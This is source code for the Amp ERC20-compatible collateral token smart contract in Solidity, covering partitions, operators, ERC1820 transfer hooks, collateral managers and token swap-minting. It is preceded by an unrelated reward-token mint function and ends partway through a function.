function safeMint(address _to, uint256 _amount) internal returns (uint256) { uint256 canBeMinted = rewardToken.maxSupply().sub(rewardToken.totalSupply()); if (_amount > canBeMinted) { _amount = canBeMinted; } _mintedCurrentLevel = _mintedCurrentLevel.add(_amount); rewardToken.mint(_to, _amount); if ( _mintedCurrentLevel >= LEVEL_LIMIT[_currentLevel] && _currentLevel < (LEVEL_LIMIT.length - 1) ) { levelChangeTime[_currentLevel] = block.timestamp; _currentLevel++; _mintedCurrentLevel = 0; emit LevelChanged(_currentLevel, block.timestamp); } return _amount; }
3,613,964
// SPDX-License-Identifier: MIT pragma solidity 0.6.10; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./Ownable.sol"; import "./erc1820/ERC1820Client.sol"; import "./erc1820/ERC1820Implementer.sol"; import "./extensions/IAmpTokensSender.sol"; import "./extensions/IAmpTokensRecipient.sol"; import "./partitions/IAmpPartitionStrategyValidator.sol"; import "./partitions/lib/PartitionUtils.sol"; import "./codes/ErrorCodes.sol"; interface ISwapToken { function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } /** * @title Amp * @notice Amp is an ERC20 compatible collateral token designed to support * multiple classes of collateralization systems. * @dev The Amp token contract includes the following features: * * Partitions * Tokens can be segmented within a given address by "partition", which in * practice is a 32 byte identifier. These partitions can have unique * permissions globally, through the using of partition strategies, and * locally, on a per address basis. The ability to create the sub-segments * of tokens and assign special behavior gives collateral managers * flexibility in how they are implemented. * * Operators * Inspired by ERC777, Amp allows token holders to assign "operators" on * all (or any number of partitions) of their tokens. Operators are allowed * to execute transfers on behalf of token owners without the need to use the * ERC20 "allowance" semantics. * * Transfers with Data * Inspired by ERC777, Amp transfers can include arbitrary data, as well as * operator data. This data can be used to change the partition of tokens, * be used by collateral manager hooks to validate a transfer, be propagated * via event to an off chain system, etc. * * Token Transfer Hooks on Send and Receive * Inspired by ERC777, Amp uses the ERC1820 Registry to allow collateral * manager implementations to register hooks to be called upon sending to * or transferring from the collateral manager's address or, using partition * strategies, owned partition space. The hook implementations can be used * to validate transfer properties, gate transfers, emit custom events, * update local state, etc. * * Collateral Management Partition Strategies * Amp is able to define certain sets of partitions, identified by a 4 byte * prefix, that will allow special, custom logic to be executed when transfers * are made to or from those partitions. This opens up the possibility of * entire classes of collateral management systems that would not be possible * without it. * * These features give collateral manager implementers flexibility while * providing a consistent, "collateral-in-place", interface for interacting * with collateral systems directly through the Amp contract. */ contract Amp is IERC20, ERC1820Client, ERC1820Implementer, ErrorCodes, Ownable { using SafeMath for uint256; /**************************************************************************/ /********************** ERC1820 Interface Constants ***********************/ /** * @dev AmpToken interface label. */ string internal constant AMP_INTERFACE_NAME = "AmpToken"; /** * @dev ERC20Token interface label. */ string internal constant ERC20_INTERFACE_NAME = "ERC20Token"; /** * @dev AmpTokensSender interface label. */ string internal constant AMP_TOKENS_SENDER = "AmpTokensSender"; /** * @dev AmpTokensRecipient interface label. */ string internal constant AMP_TOKENS_RECIPIENT = "AmpTokensRecipient"; /** * @dev AmpTokensChecker interface label. */ string internal constant AMP_TOKENS_CHECKER = "AmpTokensChecker"; /**************************************************************************/ /*************************** Token properties *****************************/ /** * @dev Token name (Amp). */ string internal _name; /** * @dev Token symbol (Amp). */ string internal _symbol; /** * @dev Total minted supply of token. This will increase comensurately with * successful swaps of the swap token. */ uint256 internal _totalSupply; /** * @dev The granularity of the token. Hard coded to 1. */ uint256 internal constant _granularity = 1; /**************************************************************************/ /***************************** Token mappings *****************************/ /** * @dev Mapping from tokenHolder to balance. This reflects the balance * across all partitions of an address. */ mapping(address => uint256) internal _balances; /**************************************************************************/ /************************** Partition mappings ****************************/ /** * @dev List of active partitions. This list reflects all partitions that * have tokens assigned to them. */ bytes32[] internal _totalPartitions; /** * @dev Mapping from partition to their index. */ mapping(bytes32 => uint256) internal _indexOfTotalPartitions; /** * @dev Mapping from partition to global balance of corresponding partition. */ mapping(bytes32 => uint256) public totalSupplyByPartition; /** * @dev Mapping from tokenHolder to their partitions. */ mapping(address => bytes32[]) internal _partitionsOf; /** * @dev Mapping from (tokenHolder, partition) to their index. */ mapping(address => mapping(bytes32 => uint256)) internal _indexOfPartitionsOf; /** * @dev Mapping from (tokenHolder, partition) to balance of corresponding * partition. */ mapping(address => mapping(bytes32 => uint256)) internal _balanceOfByPartition; /** * @notice Default partition of the token. * @dev All ERC20 operations operate solely on this partition. */ bytes32 public constant defaultPartition = 0x0000000000000000000000000000000000000000000000000000000000000000; /** * @dev Zero partition prefix. Partitions with this prefix can not have * a strategy assigned, and partitions with a different prefix must have one. */ bytes4 internal constant ZERO_PREFIX = 0x00000000; /**************************************************************************/ /***************************** Operator mappings **************************/ /** * @dev Mapping from (tokenHolder, operator) to authorized status. This is * specific to the token holder. */ mapping(address => mapping(address => bool)) internal _authorizedOperator; /**************************************************************************/ /********************** Partition operator mappings ***********************/ /** * @dev Mapping from (partition, tokenHolder, spender) to allowed value. * This is specific to the token holder. */ mapping(bytes32 => mapping(address => mapping(address => uint256))) internal _allowedByPartition; /** * @dev Mapping from (tokenHolder, partition, operator) to 'approved for * partition' status. This is specific to the token holder. */ mapping(address => mapping(bytes32 => mapping(address => bool))) internal _authorizedOperatorByPartition; /**************************************************************************/ /********************** Collateral Manager mappings ***********************/ /** * @notice Collection of registered collateral managers. */ address[] public collateralManagers; /** * @dev Mapping of collateral manager addresses to registration status. */ mapping(address => bool) internal _isCollateralManager; /**************************************************************************/ /********************* Partition Strategy mappings ************************/ /** * @notice Collection of reserved partition strategies. */ bytes4[] public partitionStrategies; /** * @dev Mapping of partition strategy flag to registration status. */ mapping(bytes4 => bool) internal _isPartitionStrategy; /**************************************************************************/ /***************************** Swap storage *******************************/ /** * @notice Swap token address. Immutable. */ ISwapToken public swapToken; /** * @notice Swap token graveyard address. * @dev This is the address that the incoming swapped tokens will be * forwarded to upon successfully minting Amp. */ address public constant swapTokenGraveyard = 0x000000000000000000000000000000000000dEaD; /**************************************************************************/ /** EVENTS ****************************************************************/ /**************************************************************************/ /**************************************************************************/ /**************************** Transfer Events *****************************/ /** * @notice Emitted when a transfer has been successfully completed. * @param fromPartition The partition from which tokens were transferred. * @param operator The address that initiated the transfer. * @param from The address from which the tokens were transferred. * @param to The address to which the tokens were transferred. * @param value The amount of tokens transferred. * @param data Additional metadata included with the transfer. Can include * the partition to which the tokens were transferred, if different than * `fromPartition`. * @param operatorData Additional metadata included with the transfer. Typically used by * partition strategies and collateral managers to authorize transfers. */ event TransferByPartition( bytes32 indexed fromPartition, address operator, address indexed from, address indexed to, uint256 value, bytes data, bytes operatorData ); /** * @notice Emitted when a transfer has been successfully completed and the * tokens that were transferred have changed partitions. * @param fromPartition The partition from which the tokens were transferred. * @param toPartition The partition to which the tokens were transferred. * @param value The amount of tokens transferred. */ event ChangedPartition( bytes32 indexed fromPartition, bytes32 indexed toPartition, uint256 value ); /**************************************************************************/ /**************************** Operator Events *****************************/ /** * @notice Emitted when a token holder authorizes an address to transfer tokens on its behalf * from a particular partition. * @param partition The partition of the tokens from which the holder has authorized the * `spender` to transfer. * @param owner The token holder. * @param spender The operator for which the `owner` has authorized the allowance. * @param value The amount of tokens authorized for transfer. */ event ApprovalByPartition( bytes32 indexed partition, address indexed owner, address indexed spender, uint256 value ); /** * @notice Emitted when a token holder has authorized an operator to transfer tokens on the * behalf of the holder across all partitions. * @param operator The address that was authorized to transfer tokens on * behalf of the `tokenHolder`. * @param tokenHolder The address that authorized the `operator` to transfer * their tokens. */ event AuthorizedOperator(address indexed operator, address indexed tokenHolder); /** * @notice Emitted when a token holder has deauthorized an operator from * transferring tokens on behalf of the holder. * @dev Note that this applies an account-wide authorization change, and does not reflect any * change in the authorization for a particular partition. * @param operator The address that was deauthorized from transferring tokens * on behalf of the `tokenHolder`. * @param tokenHolder The address that revoked the `operator`'s authorization * to transfer their tokens. */ event RevokedOperator(address indexed operator, address indexed tokenHolder); /** * @notice Emitted when a token holder has authorized an operator to transfer * tokens on behalf of the holder from a particular partition. * @param partition The partition from which the `operator` is authorized to transfer. * @param operator The address authorized to transfer tokens on * behalf of the `tokenHolder`. * @param tokenHolder The address that authorized the `operator` to transfer * tokens held in partition `partition`. */ event AuthorizedOperatorByPartition( bytes32 indexed partition, address indexed operator, address indexed tokenHolder ); /** * @notice Emitted when a token holder has deauthorized an operator from * transferring held tokens from a specific partition. * @param partition The partition for which the `operator` was deauthorized for token transfer * on behalf of the `tokenHolder`. * @param operator The address that was deauthorized from transferring * tokens on behalf of the `tokenHolder`. * @param tokenHolder The address that revoked the `operator`'s permission * to transfer held tokens from `partition`. */ event RevokedOperatorByPartition( bytes32 indexed partition, address indexed operator, address indexed tokenHolder ); /**************************************************************************/ /********************** Collateral Manager Events *************************/ /** * @notice Emitted when a collateral manager has been registered. * @param collateralManager The address of the collateral manager. */ event CollateralManagerRegistered(address collateralManager); /**************************************************************************/ /*********************** Partition Strategy Events ************************/ /** * @notice Emitted when a new partition strategy validator is set. * @param flag The 4 byte prefix of the partitions that the strategy affects. * @param name The name of the interface implemented by the partition strategy. * @param implementation The address of the partition strategy hook * implementation. */ event PartitionStrategySet(bytes4 flag, string name, address indexed implementation); // ************** Mint & Swap ************** /** * @notice Emitted when tokens are minted, which only occurs as the result of token swap. * @param operator Address that executed the swap, resulting in tokens being minted * @param to Address that received the newly minted tokens. * @param value Amount of tokens minted. * @param data Additional metadata. Unused; required for interface compatibility. */ event Minted(address indexed operator, address indexed to, uint256 value, bytes data); /** * @notice Emitted when tokens are swapped as part of the minting process. * @param operator Address that executed the swap. * @param from Address whose source swap tokens were burned, and for which Amp tokens were * minted. * @param value Amount of tokens swapped into Amp. */ event Swap(address indexed operator, address indexed from, uint256 value); /**************************************************************************/ /** CONSTRUCTOR ***********************************************************/ /**************************************************************************/ /** * @notice Initialize Amp, initialize the default partition, and register the * contract implementation in the global ERC1820Registry. * @param _swapTokenAddress_ The address of the ERC-20 token that is set to be * swappable for Amp. * @param _name_ Name of the token to be initialized. * @param _symbol_ Symbol of the token to be initialized. */ constructor( address _swapTokenAddress_, string memory _name_, string memory _symbol_ ) public { // "Swap token cannot be 0 address" require(_swapTokenAddress_ != address(0), EC_5A_INVALID_SWAP_TOKEN_ADDRESS); swapToken = ISwapToken(_swapTokenAddress_); _name = _name_; _symbol = _symbol_; _totalSupply = 0; // Add the default partition to the total partitions on deploy _addPartitionToTotalPartitions(defaultPartition); // Register contract in ERC1820 registry ERC1820Client.setInterfaceImplementation(AMP_INTERFACE_NAME, address(this)); ERC1820Client.setInterfaceImplementation(ERC20_INTERFACE_NAME, address(this)); // Indicate token verifies Amp and ERC20 interfaces ERC1820Implementer._setInterface(AMP_INTERFACE_NAME); ERC1820Implementer._setInterface(ERC20_INTERFACE_NAME); } /**************************************************************************/ /** EXTERNAL FUNCTIONS (ERC20) ********************************************/ /**************************************************************************/ /** * @notice Retrieves the total number of minted tokens. * @return uint256 containing the total number of minted tokens. */ function totalSupply() external override view returns (uint256) { return _totalSupply; } /** * @notice Retrieves the balance of the account with address `_tokenHolder` across all partitions. * @dev Note that this figure should not be used as the arbiter of the amount a token holder * will successfully be able to send via the ERC-20 compatible `Amp.transfer` method. In order * to get that figure, use `Amp.balanceOfByPartition` to get the balance of the default * partition. * @param _tokenHolder Address for which the balance is returned. * @return uint256 containing the amount of tokens held by `_tokenHolder` * across all partitions. */ function balanceOf(address _tokenHolder) external override view returns (uint256) { return _balances[_tokenHolder]; } /** * @notice Transfers an amount of tokens to the specified address. * @dev Note that this only transfers from the `msg.sender` address's default partition. * To transfer from other partitions, use function `Amp.transferByPartition`. * @param _to The address to which the tokens should be transferred. * @param _value The amount of tokens to be transferred. * @return bool indicating whether the operation was successful. */ function transfer(address _to, uint256 _value) external override returns (bool) { _transferByDefaultPartition(msg.sender, msg.sender, _to, _value, ""); return true; } /** * @notice Transfers an amount of tokens between two accounts. * @dev Note that this only transfers from the `_from` address's default partition. * To transfer from other partitions, use function `Amp.transferByPartition`. * @param _from The address from which the tokens are to be transferred. * @param _to The address to which the tokens are to be transferred. * @param _value The amount of tokens to be transferred. * @return bool indicating whether the operation was successful. */ function transferFrom( address _from, address _to, uint256 _value ) external override returns (bool) { _transferByDefaultPartition(msg.sender, _from, _to, _value, ""); return true; } /** * @notice Retrieves the allowance of tokens that has been granted by `_owner` to * `_spender` for the default partition. * @dev Note that this only returns the allowance of the `_owner` address's default partition. * To retrieve the allowance for a different partition, use function `Amp.allowanceByPartition`. * @param _owner The address holding the authorized tokens. * @param _spender The address authorized to transfer the tokens from `_owner`. * @return uint256 specifying the amount of tokens available for the `_spender` to transfer * from the `_owner`'s default partition. */ function allowance(address _owner, address _spender) external override view returns (uint256) { return _allowedByPartition[defaultPartition][_owner][_spender]; } /** * @notice Sets an allowance for an address to transfer an amount of tokens on behalf of the * caller. * @dev Note that this only affects the `msg.sender` address's default partition. * To approve transfers from other partitions, use function `Amp.approveByPartition`. * * This method is required for ERC-20 compatibility, but is subject to the race condition * described in * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729. * * Functions `Amp.increaseAllowance` and `Amp.decreaseAllowance` should be used instead. * @param _spender The address which is authorized to transfer tokens from default partition * of `msg.sender`. * @param _value The amount of tokens to be authorized. * @return bool indicating if the operation was successful. */ function approve(address _spender, uint256 _value) external override returns (bool) { _approveByPartition(defaultPartition, msg.sender, _spender, _value); return true; } /** * @notice Increases the allowance granted to `_spender` by the caller. * @dev This is an alternative to `Amp.approve` that can be used as a mitigation for * the race condition described in * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729. * * Note that this only affects the `msg.sender` address's default partition. * To increase the allowance for other partitions, use function * `Amp.increaseAllowanceByPartition`. * * #### Requirements: * - `_spender` cannot be the zero address. * @param _spender The account authorized to transfer the tokens. * @param _addedValue Additional amount of the `msg.sender`'s tokens `_spender` * is allowed to transfer. * @return bool indicating if the operation was successful. */ function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool) { _approveByPartition( defaultPartition, msg.sender, _spender, _allowedByPartition[defaultPartition][msg.sender][_spender].add(_addedValue) ); return true; } /** * @notice Decreases the allowance granted to `_spender` by the caller. * @dev This is an alternative to `Amp.approve` that can be used as a mitigation for * the race condition described in * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729. * * Note that this only affects the `msg.sender` address's default partition. * To decrease the allowance for other partitions, use function * `decreaseAllowanceByPartition`. * * #### Requirements: * - `_spender` cannot be the zero address. * - `_spender` must have an allowance for the caller of at least `_subtractedValue`. * @param _spender Account whose authorization to transfer tokens is to be decreased. * @param _subtractedValue Amount by which the authorization for `_spender` to transfer tokens * held by `msg.sender`'s account is to be decreased. * @return bool indicating if the operation was successful. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool) { _approveByPartition( defaultPartition, msg.sender, _spender, _allowedByPartition[defaultPartition][msg.sender][_spender].sub( _subtractedValue ) ); return true; } /**************************************************************************/ /** EXTERNAL FUNCTIONS (AMP) **********************************************/ /**************************************************************************/ /******************************** Swap ***********************************/ /** * @notice Exchanges an amount of source swap tokens from the contract defined at deployment * for the equivalent amount of Amp tokens. * @dev Requires the `_from` account to have granted the Amp contract an allowance of swap * tokens no greater than their balance. * @param _from Token holder whose swap tokens will be exchanged for Amp tokens. */ function swap(address _from) public { uint256 amount = swapToken.allowance(_from, address(this)); require(amount > 0, EC_53_INSUFFICIENT_ALLOWANCE); require( swapToken.transferFrom(_from, swapTokenGraveyard, amount), EC_60_SWAP_TRANSFER_FAILURE ); _mint(msg.sender, _from, amount); emit Swap(msg.sender, _from, amount); } /**************************************************************************/ /************************** Holder information ****************************/ /** * @notice Retrieves the balance of a token holder for a specific partition. * @param _partition The partition for which the balance is returned. * @param _tokenHolder Address for which the balance is returned. * @return uint256 containing the amount of tokens held by `_tokenHolder` in `_partition`. */ function balanceOfByPartition(bytes32 _partition, address _tokenHolder) external view returns (uint256) { return _balanceOfByPartition[_tokenHolder][_partition]; } /** * @notice Retrieves the set of partitions for a particular token holder. * @param _tokenHolder Address for which the partitions are returned. * @return array containing the partitions of `_tokenHolder`. */ function partitionsOf(address _tokenHolder) external view returns (bytes32[] memory) { return _partitionsOf[_tokenHolder]; } /**************************************************************************/ /************************** Advanced Transfers ****************************/ /** * @notice Transfers tokens from a specific partition on behalf of a token * holder, optionally changing the partition and including * arbitrary data used by the partition strategies and collateral managers to authorize the * transfer. * @dev This can be used to transfer an address's own tokens, or transfer * a different address's tokens by specifying the `_from` param. If * attempting to transfer from a different address than `msg.sender`, the * `msg.sender` will need to be an operator or have enough allowance for the * `_partition` of the `_from` address. * @param _partition The partition from which the tokens are to be transferred. * @param _from Address from which the tokens are to be transferred. * @param _to Address to which the tokens are to be transferred. * @param _value Amount of tokens to be transferred. * @param _data Information attached to the transfer. Will contain the * destination partition if changing partitions. * @param _operatorData Additional data attached to the transfer. Used by partition strategies * and collateral managers to authorize the transfer. * @return bytes32 containing the destination partition. */ function transferByPartition( bytes32 _partition, address _from, address _to, uint256 _value, bytes calldata _data, bytes calldata _operatorData ) external returns (bytes32) { return _transferByPartition( _partition, msg.sender, _from, _to, _value, _data, _operatorData ); } /**************************************************************************/ /************************** Operator Management ***************************/ /** * @notice Authorizes an address as an operator of `msg.sender` to transfer tokens on its * behalf. * @dev Note that this applies to all partitions. * * `msg.sender` is always an operator for itself, and does not need to * be explicitly added. * @param _operator Address to set as an operator for `msg.sender`. */ function authorizeOperator(address _operator) external { require(_operator != msg.sender, EC_58_INVALID_OPERATOR); _authorizedOperator[msg.sender][_operator] = true; emit AuthorizedOperator(_operator, msg.sender); } /** * @notice Remove the right of the `_operator` address to be an operator for * `msg.sender` and to transfer tokens on its behalf. * @dev Note that this affects the account-wide authorization granted via function * `Amp.authorizeOperator`, and does not affect authorizations granted via function * `Amp.authorizeOperatorByPartition`. * * `msg.sender` is always an operator for itself, and cannot be * removed. * @param _operator Address to be deauthorized an operator for `msg.sender`. */ function revokeOperator(address _operator) external { require(_operator != msg.sender, EC_58_INVALID_OPERATOR); _authorizedOperator[msg.sender][_operator] = false; emit RevokedOperator(_operator, msg.sender); } /** * @notice Authorizes an account as an operator of a particular partition. * @dev The `msg.sender` is always an operator for itself, and does not need to * be explicitly added to a partition. * @param _partition The partition for which the `_operator` is to be authorized. * @param _operator Address to be authorized as an operator for `msg.sender`. */ function authorizeOperatorByPartition(bytes32 _partition, address _operator) external { require(_operator != msg.sender, EC_58_INVALID_OPERATOR); _authorizedOperatorByPartition[msg.sender][_partition][_operator] = true; emit AuthorizedOperatorByPartition(_partition, _operator, msg.sender); } /** * @notice Deauthorizes an address as an operator for a particular partition. * @dev Note that this does not override an account-wide authorization granted via function * `Amp.authorizeOperator`. * * `msg.sender` is always an operator for itself, and cannot be * removed from a partition. * @param _partition The partition for which the `_operator` is deauthorized. * @param _operator Address to deauthorize as an operator for `msg.sender`. */ function revokeOperatorByPartition(bytes32 _partition, address _operator) external { require(_operator != msg.sender, EC_58_INVALID_OPERATOR); _authorizedOperatorByPartition[msg.sender][_partition][_operator] = false; emit RevokedOperatorByPartition(_partition, _operator, msg.sender); } /**************************************************************************/ /************************** Operator Information **************************/ /** * @notice Indicates whether the `_operator` address is an operator of the * `_tokenHolder` address. * @dev Note that this applies to all of the partitions of the `msg.sender` address. * @param _operator Address which may be an operator of `_tokenHolder`. * @param _tokenHolder Address of a token holder which may have the * `_operator` address as an operator. * @return bool indicating whether `_operator` is an operator of `_tokenHolder`. */ function isOperator(address _operator, address _tokenHolder) external view returns (bool) { return _isOperator(_operator, _tokenHolder); } /** * @notice Indicate whether the `_operator` address is an operator of the * `_tokenHolder` address for the `_partition`. * @param _partition Partition for which `_operator` may be authorized. * @param _operator Address which may be an operator of `_tokenHolder` for the `_partition`. * @param _tokenHolder Address of a token holder which may have the * `_operator` address as an operator for the `_partition`. * @return bool indicating whether `_operator` is an operator of `_tokenHolder` for the * `_partition`. */ function isOperatorForPartition( bytes32 _partition, address _operator, address _tokenHolder ) external view returns (bool) { return _isOperatorForPartition(_partition, _operator, _tokenHolder); } /** * @notice Indicates whether the `_operator` address is an operator of the * `_collateralManager` address for the `_partition`. * @dev This method is functionally identical to `Amp.isOperatorForPartition`, except that it * also requires the address that `_operator` is being checked for must be * a registered collateral manager. * @param _partition Partition for which the operator may be authorized. * @param _operator Address which may be an operator of `_collateralManager` * for the `_partition`. * @param _collateralManager Address of a collateral manager which may have * the `_operator` address as an operator for the `_partition`. * @return bool indicating whether the `_operator` address is an operator of the * `_collateralManager` address for the `_partition`. */ function isOperatorForCollateralManager( bytes32 _partition, address _operator, address _collateralManager ) external view returns (bool) { return _isCollateralManager[_collateralManager] && (_isOperator(_operator, _collateralManager) || _authorizedOperatorByPartition[_collateralManager][_partition][_operator]); } /**************************************************************************/ /***************************** Token metadata *****************************/ /** * @notice Retrieves the name of the token. * @return string containing the name of the token. Always "Amp". */ function name() external view returns (string memory) { return _name; } /** * @notice Retrieves the symbol of the token. * @return string containing the symbol of the token. Always "AMP". */ function symbol() external view returns (string memory) { return _symbol; } /** * @notice Retrieves the number of decimals of the token. * @return uint8 containing the number of decimals of the token. Always 18. */ function decimals() external pure returns (uint8) { return uint8(18); } /** * @notice Retrieves the smallest part of the token that is not divisible. * @return uint256 containing the smallest non-divisible part of the token. Always 1. */ function granularity() external pure returns (uint256) { return _granularity; } /** * @notice Retrieves the set of existing partitions. * @return array containing all partitions. */ function totalPartitions() external view returns (bytes32[] memory) { return _totalPartitions; } /************************************************************************************************/ /******************************** Partition Token Allowances ************************************/ /** * @notice Retrieves the allowance of tokens that has been granted by a token holder to another * account. * @param _partition Partition for which the spender may be authorized. * @param _owner The address which owns the tokens. * @param _spender The address which is authorized transfer tokens on behalf of the token * holder. * @return uint256 containing the amount of tokens available for `_spender` to transfer. */ function allowanceByPartition( bytes32 _partition, address _owner, address _spender ) external view returns (uint256) { return _allowedByPartition[_partition][_owner][_spender]; } /** * @notice Approves the `_spender` address to transfer the specified amount of * tokens in `_partition` on behalf of `msg.sender`. * * Note that this method is subject to the race condition described in * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729. Functions * `Amp.increaseAllowanceByPartition` and `Amp.decreaseAllowanceByPartition` should be used * instead. * @param _partition Partition for which the `_spender` is to be authorized to transfer tokens. * @param _spender The address of the account to be authorized to transfer tokens. * @param _value The amount of tokens to be authorized. * @return bool indicating if the operation was successful. */ function approveByPartition( bytes32 _partition, address _spender, uint256 _value ) external returns (bool) { _approveByPartition(_partition, msg.sender, _spender, _value); return true; } /** * @notice Increases the allowance granted to an account by the caller for a partition. * @dev This is an alternative to function `Amp.approveByPartition` that can be used as * a mitigation for the race condition described in * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * #### Requirements: * - `_spender` cannot be the zero address. * @param _partition Partition for which the `_spender` is to be authorized to transfer tokens. * @param _spender The address of the account to be authorized to transfer tokens. * @param _addedValue Additional amount of the `msg.sender`'s tokens `_spender` * is allowed to transfer. * @return bool indicating if the operation was successful. */ function increaseAllowanceByPartition( bytes32 _partition, address _spender, uint256 _addedValue ) external returns (bool) { _approveByPartition( _partition, msg.sender, _spender, _allowedByPartition[_partition][msg.sender][_spender].add(_addedValue) ); return true; } /** * @notice Decreases the allowance granted to `_spender` by the * caller. * @dev This is an alternative to function `Amp.approveByPartition` that can be used as * a mitigation for the race condition described in * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * #### Requirements: * - `_spender` cannot be the zero address. * - `_spender` must have allowance for the caller of at least * `_subtractedValue`. * @param _partition Partition for which `_spender`'s allowance is to be decreased. * @param _spender Amount by which the authorization for `_spender` to transfer tokens * held by `msg.sender`'s account is to be decreased. * @param _subtractedValue Amount of the `msg.sender`'s tokens `_spender` is * no longer allowed to transfer. * @return bool indicating if the operation was successful. */ function decreaseAllowanceByPartition( bytes32 _partition, address _spender, uint256 _subtractedValue ) external returns (bool) { _approveByPartition( _partition, msg.sender, _spender, _allowedByPartition[_partition][msg.sender][_spender].sub(_subtractedValue) ); return true; } /**************************************************************************/ /************************ Collateral Manager Admin ************************/ /** * @notice Registers `msg.sender` as a collateral manager. */ function registerCollateralManager() external { // Short circuit a double registry require(!_isCollateralManager[msg.sender], EC_5C_ADDRESS_CONFLICT); collateralManagers.push(msg.sender); _isCollateralManager[msg.sender] = true; emit CollateralManagerRegistered(msg.sender); } /** * @notice Retrieves whether the supplied address is a collateral manager. * @param _collateralManager The address of the collateral manager. * @return bool indicating whether `_collateralManager` is registered as a collateral manager. */ function isCollateralManager(address _collateralManager) external view returns (bool) { return _isCollateralManager[_collateralManager]; } /**************************************************************************/ /************************ Partition Strategy Admin ************************/ /** * @notice Sets an implementation for a partition strategy identified by `_prefix`. * @dev Note: this function can only be called by the contract owner. * @param _prefix The 4 byte partition prefix the strategy applies to. * @param _implementation The address of the implementation of the strategy hooks. */ function setPartitionStrategy(bytes4 _prefix, address _implementation) external { require(msg.sender == owner(), EC_56_INVALID_SENDER); require(!_isPartitionStrategy[_prefix], EC_5E_PARTITION_PREFIX_CONFLICT); require(_prefix != ZERO_PREFIX, EC_5F_INVALID_PARTITION_PREFIX_0); string memory iname = PartitionUtils._getPartitionStrategyValidatorIName(_prefix); ERC1820Client.setInterfaceImplementation(iname, _implementation); partitionStrategies.push(_prefix); _isPartitionStrategy[_prefix] = true; emit PartitionStrategySet(_prefix, iname, _implementation); } /** * @notice Return whether the `_prefix` has had a partition strategy registered. * @param _prefix The partition strategy identifier. * @return bool indicating if the strategy has been registered. */ function isPartitionStrategy(bytes4 _prefix) external view returns (bool) { return _isPartitionStrategy[_prefix]; } /**************************************************************************/ /*************************** INTERNAL FUNCTIONS ***************************/ /**************************************************************************/ /**************************************************************************/ /**************************** Token Transfers *****************************/ /** * @dev Transfer tokens from a specific partition. * @param _fromPartition Partition of the tokens to transfer. * @param _operator The address performing the transfer. * @param _from Token holder. * @param _to Token recipient. * @param _value Number of tokens to transfer. * @param _data Information attached to the transfer. Contains the destination * partition if a partition change is requested. * @param _operatorData Information attached to the transfer, by the operator * (if any). * @return bytes32 containing the destination partition. */ function _transferByPartition( bytes32 _fromPartition, address _operator, address _from, address _to, uint256 _value, bytes memory _data, bytes memory _operatorData ) internal returns (bytes32) { require(_to != address(0), EC_57_INVALID_RECEIVER); // If the `_operator` is attempting to transfer from a different `_from` // address, first check that they have the requisite operator or // allowance permissions. if (_from != _operator) { require( _isOperatorForPartition(_fromPartition, _operator, _from) || (_value <= _allowedByPartition[_fromPartition][_from][_operator]), EC_53_INSUFFICIENT_ALLOWANCE ); // If the sender has an allowance for the partition, that should // be decremented if (_allowedByPartition[_fromPartition][_from][_operator] >= _value) { _allowedByPartition[_fromPartition][_from][msg .sender] = _allowedByPartition[_fromPartition][_from][_operator].sub( _value ); } else { _allowedByPartition[_fromPartition][_from][_operator] = 0; } } _callPreTransferHooks( _fromPartition, _operator, _from, _to, _value, _data, _operatorData ); require( _balanceOfByPartition[_from][_fromPartition] >= _value, EC_52_INSUFFICIENT_BALANCE ); bytes32 toPartition = PartitionUtils._getDestinationPartition( _data, _fromPartition ); _removeTokenFromPartition(_from, _fromPartition, _value); _addTokenToPartition(_to, toPartition, _value); _callPostTransferHooks( toPartition, _operator, _from, _to, _value, _data, _operatorData ); emit Transfer(_from, _to, _value); emit TransferByPartition( _fromPartition, _operator, _from, _to, _value, _data, _operatorData ); if (toPartition != _fromPartition) { emit ChangedPartition(_fromPartition, toPartition, _value); } return toPartition; } /** * @notice Transfer tokens from default partitions. * @dev Used as a helper method for ERC-20 compatibility. * @param _operator The address performing the transfer. * @param _from Token holder. * @param _to Token recipient. * @param _value Number of tokens to transfer. * @param _data Information attached to the transfer, and intended for the * token holder (`_from`). Should contain the destination partition if * changing partitions. */ function _transferByDefaultPartition( address _operator, address _from, address _to, uint256 _value, bytes memory _data ) internal { _transferByPartition(defaultPartition, _operator, _from, _to, _value, _data, ""); } /** * @dev Remove a token from a specific partition. * @param _from Token holder. * @param _partition Name of the partition. * @param _value Number of tokens to transfer. */ function _removeTokenFromPartition( address _from, bytes32 _partition, uint256 _value ) internal { if (_value == 0) { return; } _balances[_from] = _balances[_from].sub(_value); _balanceOfByPartition[_from][_partition] = _balanceOfByPartition[_from][_partition] .sub(_value); totalSupplyByPartition[_partition] = totalSupplyByPartition[_partition].sub( _value ); // If the total supply is zero, finds and deletes the partition. // Do not delete the _defaultPartition from totalPartitions. if (totalSupplyByPartition[_partition] == 0 && _partition != defaultPartition) { _removePartitionFromTotalPartitions(_partition); } // If the balance of the TokenHolder's partition is zero, finds and // deletes the partition. if (_balanceOfByPartition[_from][_partition] == 0) { uint256 index = _indexOfPartitionsOf[_from][_partition]; if (index == 0) { return; } // move the last item into the index being vacated bytes32 lastValue = _partitionsOf[_from][_partitionsOf[_from].length - 1]; _partitionsOf[_from][index - 1] = lastValue; // adjust for 1-based indexing _indexOfPartitionsOf[_from][lastValue] = index; _partitionsOf[_from].pop(); _indexOfPartitionsOf[_from][_partition] = 0; } } /** * @dev Add a token to a specific partition. * @param _to Token recipient. * @param _partition Name of the partition. * @param _value Number of tokens to transfer. */ function _addTokenToPartition( address _to, bytes32 _partition, uint256 _value ) internal { if (_value == 0) { return; } _balances[_to] = _balances[_to].add(_value); if (_indexOfPartitionsOf[_to][_partition] == 0) { _partitionsOf[_to].push(_partition); _indexOfPartitionsOf[_to][_partition] = _partitionsOf[_to].length; } _balanceOfByPartition[_to][_partition] = _balanceOfByPartition[_to][_partition] .add(_value); if (_indexOfTotalPartitions[_partition] == 0) { _addPartitionToTotalPartitions(_partition); } totalSupplyByPartition[_partition] = 